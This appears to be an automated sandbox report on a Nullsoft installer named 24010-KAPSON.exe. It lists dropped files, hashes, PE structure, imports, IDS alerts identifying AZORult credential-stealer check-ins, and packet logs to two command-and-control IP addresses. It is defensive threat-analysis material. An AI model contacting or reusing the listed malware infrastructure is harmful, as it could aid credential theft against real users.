SHA-512:	BAEE8384BBC50F5D295587653ED48131A85D74596CC874E870A18D01455817094C676D13A1A618415C073533F8A8B975C6418622FAF4A5EE7F509A4EF20AC47B
Malicious:	false
Preview:	.P......................................................................................;.........h..............B..F........................................................k..................................4..............................q..K...............Y.C..........................3...........z........\.................,..................W...................................c..........i............I.............................t...........$......................E.................................................................y.....................................................7......G...................!..................................................................................................8.................c....................j..D...............................................q.............................................>....................9............./....k...........................................................................................................

C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\statshusmands.fil

Download File

Process:	C:\Users\user\Desktop\24010-KAPSON.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 3905465301860352.000000
Category:	dropped
Size (bytes):	310892
Entropy (8bit):	1.256925923101745
Encrypted:	false
SSDEEP:	768:zkIv/3Bwn0MdTiyMN2Q8NFe6nUSzuZNqiarNwAImqLp7tHUmHEmDkV51YoDkQ2Y+:l/3P8p12BwQaiZlNVxmhn70
MD5:	D17823DCB1575AE4802F5953DC5CAD96
SHA1:	7AA1B027F6392B839A884EFAA2579C282DA74351
SHA-256:	446827CEF80F9DC14275F6BE12B1B5344529D2FDC3AE953FC013EE1F303147F6
SHA-512:	20C3FC5D228F9CA4CB5FD3409D444069F391986738551AF5452D31AF3E8875241A32AEE8AB78C5534F08D44A938C1D9F71443AF770CFABCEFB4608B74AF3E383
Malicious:	false
Preview:	............................................................4......................[.............X...m..................................m.........8...........v...................................................n....................\|...........L...........................8...............a......4...................W.............................N......................................................#.......c.................r......................M......................................................I..................................v.......!...T........E.J.K............d................e..(......................\...................%..............................Y."..............................................SA..........................{...................................c........y.............................................................m...................................................c......W......F....N........'........8..................."..............e..............=.....

C:\Users\user\AppData\Local\Temp\nspB9D.tmp\nsExec.dll

Download File

Process:	C:\Users\user\Desktop\24010-KAPSON.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	5.258599669388446
Encrypted:	false
SSDEEP:	96:J0mkmwmHDqaRrlfAF4IUIqhmKv6vBckXK9wSBl8gvElHturnNQaSGYuHc2DCP:JHjRrlfA6Nv6eWIElNurnNQZGdHn
MD5:	59E487D0A38DCE3F6BE70D153D7B84A0
SHA1:	0C2CA2FB13731C9F5C53D663DD3804A423736C45
SHA-256:	F19F36B3D8C9F78786EB2DC99D7C7FFBFA1C8236843F139C625A60FDE3E6B4C3
SHA-512:	42C80F25E3E49A3A81EC20104FEACFC9652410D50EF90020E61C889FB0E94B0E54E1214C37F205A9F180A56DC569628A62D2BED868FFCEB3BB3BBBC842403735
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,.................Rich...........................PE..L...t.$_...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..<.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nszAA2.tmp

Download File

Process:	C:\Users\user\Desktop\24010-KAPSON.exe
File Type:	data
Category:	dropped
Size (bytes):	1177572
Entropy (8bit):	3.9599135925461586
Encrypted:	false
SSDEEP:	12288:4Znbh9WsYXCy0xFRRx8oqjjGH2ACp0oEGEmUtvxH7tB:sb/lYX+P78ZYLzmKJb/
MD5:	165A1FE811E7476879E30617DE44BCB4
SHA1:	E8BD2A1024D066258B8D7A098FCCAD0477ABFCF2
SHA-256:	8E6AD91BDAF2868A484227D9DF8AA729FF9FCBC6512F4418B38894E5BBDF3C79
SHA-512:	6A683BECFA420B2B1C6B906870972BACB2373F41627AC2E9CBC9186D6C2F508B5059CF7DAC700CD5694F3734FA8264ED6B5C3E2FD7BC651B87650F112C32D925
Malicious:	false
Preview:	.&......,.......,.......D...G............%.......&..........................................................................................................................................................................................................................................G..._...............j...............................................................................................................................h...............................................................g...............................................................k...............&...q...................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.617511247868702
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	24010-KAPSON.exe
File size:	690'938 bytes
MD5:	ef470b3a08dd421f59ab4c049aec86b3
SHA1:	2bec03cb32daee7bab4e0a31ed442759b8271ea3
SHA256:	2eb5a21f2b8714b860506c854cf1ada5d07393b827e9cf362edb4ccd9dff5d74
SHA512:	d5e82650265eda6e5d194ac083c6cdfa1fa6294eb03217e8c9cb90337bda583bd678f30e31f45cdfcdab988474cfdc46596efd18ab358e70a80c0fc40671cb23
SSDEEP:	12288:4gkvgwxIGuSJcBVWjjWVtW9bhdJHGmCn2kxAPZM:4gk1OGT9ufW9bpU2wAhM
TLSH:	AFE412813730CF47DE5E07B849AECAA17A70AE1D5E4516077390FB3E6B76291980E34E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....$_.................f...*.....

File Icon


Icon Hash:	b1292d2d313109a1

Static PE Info

General

Entrypoint:	0x4035d8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F24A992 [Fri Jul 31 23:30:26 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c05041e01f84e1ccca9c4451f3b6a383

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080C8h]
call dword ptr [004080CCh]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A26Ch], eax
je 00007FDAE45F44D3h
push ebx
call 00007FDAE45F77D9h
cmp eax, ebx
je 00007FDAE45F44C9h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FDAE45F7753h
push esi
call dword ptr [00408154h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FDAE45F44ACh
push 0000000Bh
call 00007FDAE45F77ACh
push 00000009h
call 00007FDAE45F77A5h
push 00000007h
mov dword ptr [0042A264h], eax
call 00007FDAE45F7799h
cmp eax, ebx
je 00007FDAE45F44D1h
push 0000001Eh
call eax
test eax, eax
je 00007FDAE45F44C9h
or byte ptr [0042A26Fh], 00000040h
push ebp
call dword ptr [00408038h]
push ebx
call dword ptr [00408298h]
mov dword ptr [0042A338h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 00421708h
call dword ptr [0040818Ch]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x2eb28	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6572	0x6600	869e1d11bbf88d92521c022fa6f3d4f0	False	0.6623008578431373	data	6.453919385955138	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1398	0x1400	79e286249499b713a2ddbee33baa50da	False	0.449609375	data	5.1367175827370986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20378	0x600	b6d02c867f7bfbcf68de2cfeea94fd73	False	0.5078125	data	4.096809083627214	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x1c000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x47000	0x2eb28	0x2ec00	ec6e9f447e887e5b80518872799cd465	False	0.5473711146390374	data	6.031471920017347	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x47520	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x47888	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.5392612090382113
RT_ICON	0x580b0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States	0.5800924952701282
RT_ICON	0x61558	0x4c28	Device independent bitmap graphic, 128 x 256 x 8, image size 16384	English	United States	0.36304883052933934
RT_ICON	0x66180	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.6332664147378365
RT_ICON	0x6a3a8	0x2ca8	Device independent bitmap graphic, 96 x 192 x 8, image size 9216	English	United States	0.44051784464660604
RT_ICON	0x6d050	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.6630705394190871
RT_ICON	0x6f5f8	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4096	English	United States	0.532968970380818
RT_ICON	0x70c20	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.7345215759849906
RT_ICON	0x71cc8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304	English	United States	0.6050106609808102
RT_ICON	0x72b70	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	English	United States	0.7819672131147541
RT_ICON	0x734f8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024	English	United States	0.7287906137184116
RT_ICON	0x73da0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576	English	United States	0.7799539170506913
RT_ICON	0x74468	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256	English	United States	0.8135838150289018
RT_ICON	0x749d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.8120567375886525
RT_DIALOG	0x74e38	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x74f80	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x750c0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x751c0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x752e0	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x753a8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75408	0xca	data	English	United States	0.5841584158415841
RT_VERSION	0x754d8	0x310	data	English	United States	0.48596938775510207
RT_MANIFEST	0x757e8	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, SetWindowPos, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersion, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, ExitProcess, CopyFileW, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T09:22:21.813456+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49857	107.151.162.135	80	TCP
2025-01-13T09:22:23.941442+0100	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.5	49865	104.21.32.1	80	TCP
2025-01-13T09:22:23.941442+0100	2810276	ETPRO MALWARE AZORult CnC Beacon M1	1	192.168.2.5	49865	104.21.32.1	80	TCP
2025-01-13T09:22:24.181468+0100	2029137	ET MALWARE AZORult v3.3 Server Response M2	1	104.21.32.1	80	192.168.2.5	49865	TCP
2025-01-13T09:22:32.588773+0100	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.5	49905	104.21.32.1	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 09:22:21.228652000 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.233481884 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.233999014 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.239176035 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.243994951 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.811362028 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.811388016 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.811413050 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.811428070 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.811443090 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.811531067 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.811559916 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.811649084 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.811671972 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.811749935 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.813456059 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.813457012 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.813457012 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.814335108 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.818392038 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.818418980 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.818434000 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.818449020 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.818464041 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.819175959 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.819175959 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.898154974 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.898171902 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.898188114 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.898211002 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.898359060 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.898360014 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.898457050 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.898469925 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.898545027 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.898724079 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.898740053 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.898756027 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.898771048 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.898823977 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.898866892 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.899374962 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.899388075 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.899480104 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.899516106 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.899554014 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.899576902 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.899586916 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.899593115 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.899617910 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.899631023 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.899631023 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.899677038 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.899677038 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.900393009 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.900449038 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.900464058 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.900479078 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.900490999 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.900490999 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.900496006 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.900554895 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.900556087 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.901386023 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.901401043 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.901416063 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.901453018 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.901453018 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.901524067 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.903228998 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.903254032 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.903290987 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.903350115 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.984834909 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.984865904 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.984878063 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.984910965 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.984925032 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985044003 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.985044956 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.985084057 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985100985 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985117912 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985132933 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985179901 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.985179901 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.985275030 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985335112 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985349894 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985364914 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985407114 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.985461950 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.985539913 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985563993 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985577106 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985626936 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985641003 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985650063 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.985656977 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.985673904 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.985724926 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.986084938 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986099958 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986114979 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986129045 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986145973 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986165047 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.986244917 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.986484051 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986505985 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986521006 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986534119 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986548901 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986562014 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986577034 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986581087 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.986581087 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.986592054 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986603975 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.986608028 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986741066 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.986936092 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986958981 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986974001 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.986987114 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987009048 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987020016 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.987023115 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987039089 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987051964 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987061977 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.987061977 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.987077951 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987092018 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987092972 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.987107992 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987123013 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987137079 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.987138033 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987138033 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.987160921 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.987241030 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.987864017 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987886906 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987901926 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987915039 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987927914 CET	49857	80	192.168.2.5	107.151.162.135
Jan 13, 2025 09:22:21.987931013 CET	80	49857	107.151.162.135	192.168.2.5
Jan 13, 2025 09:22:21.987970114 CET	49857	80	192.168.2.5	107.151.162.135
